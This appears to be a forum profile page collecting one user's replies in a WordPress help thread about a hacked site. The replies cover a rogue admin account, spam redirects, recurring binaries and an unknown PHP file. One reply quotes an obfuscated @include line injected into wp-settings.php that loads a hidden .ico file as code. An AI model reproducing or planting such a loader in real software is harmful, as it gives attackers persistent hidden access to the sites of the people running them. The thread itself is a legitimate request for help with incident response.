martynthompson
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: Can gain Admin access to Dashboard but no control beyond here.Hi t-p,
Thanks for advice and confirmation. I have a professional looking at it right now. I am working through the guide you posted too.
Appreciate your advice and help.
Regards,
Martyn.
Forum: Fixing WordPress
In reply to: Can gain Admin access to Dashboard but no control beyond here.Dear Rajan V and t-p,
Want to thank you for the support so far. I have discovered that in addition to not being able to access the admin side of things, when visiting the site through google or bing browsers were being redirected to a pharmacological page.
I think this is more than a coincidence and used Plesk to do some command line sleuthing and it warned me about some directories with elevated chmod privileges that were not required (specifically 0777 images directory). On deleting the subfolder with binary files in using the command line I regained some limited control but when ls-ing again the directory has been recreated with some binaries back in there.
I feel this is a step forward but just need to find out what is causing this directory and binaries to be recreated.
Thanks for any advice.
Martyn
Forum: Fixing WordPress
In reply to: Can gain Admin access to Dashboard but no control beyond here.Dear Rajan V and t-p,
Thanks for your comments and suggestions. I shall work through these.
Regards,
Martyn.
Forum: Fixing WordPress
In reply to: Can gain Admin access to Dashboard but no control beyond here.I have found an odd file in my root directory (httpdocs) named 3f5efmc9ch.php which has execute permissions and appears to be a part of some PHP code.
I can print it here but don’t want to give anyone else any ideas if it is going to risk breaking their installation.
There was also this near the first line of wp-settings.php in the root.
@include “\057var/\167ww/v\150osts\057ansu\153.org\057http\144ocs/\155oodl\145/gra\144e/ed\151t/.0\065666e\0604.ic\157”;Does it look like I have been hacked?
BW,
Martyn
Forum: Fixing WordPress
In reply to: Can gain Admin access to Dashboard but no control beyond here.Hi t-p,
I have disabled the plugins by SSH into the server and renaming the plugins directory to plugins_t and the same with the oceanwp theme (and it’s created child). The only themes left are twentyfifteen, twentysixteen and twentyseventeen.
As I cannot get access to the themes page through WP I am unable to formally activate or change the theme.I have attempted to refresh the page and access any of the Admin pages and still cannot. Although I have Admin privileges is it possible this rogue account [ Moderated: User login and User_nicename redacted, please do not post such info. ] has altered my own Admin privileges without me accepting them as a user? Is there a way I can check this by looking at the database directly – which I have access to?
Best regards,
Martyn.
- This reply was modified 7 years, 10 months ago by t-p.
Forum: Fixing WordPress
In reply to: Can gain Admin access to Dashboard but no control beyond here.Hi t-p,
Thanks for the reply. Yes I am. I have three of my own user names with different privileges – including one with complete Admin privileges.
I have looked at the database directly and found a user registered with the friendly name of “Service” and also a login name similar to wp.serviceuser.ql07 (this isn’t exact) but it is certainly not a name I know as being registered. We are a small group of only about 110 users so I recognise all of the names. I suspect this is a rogue user and have deleted their account.
Thanks for any advice.Martyn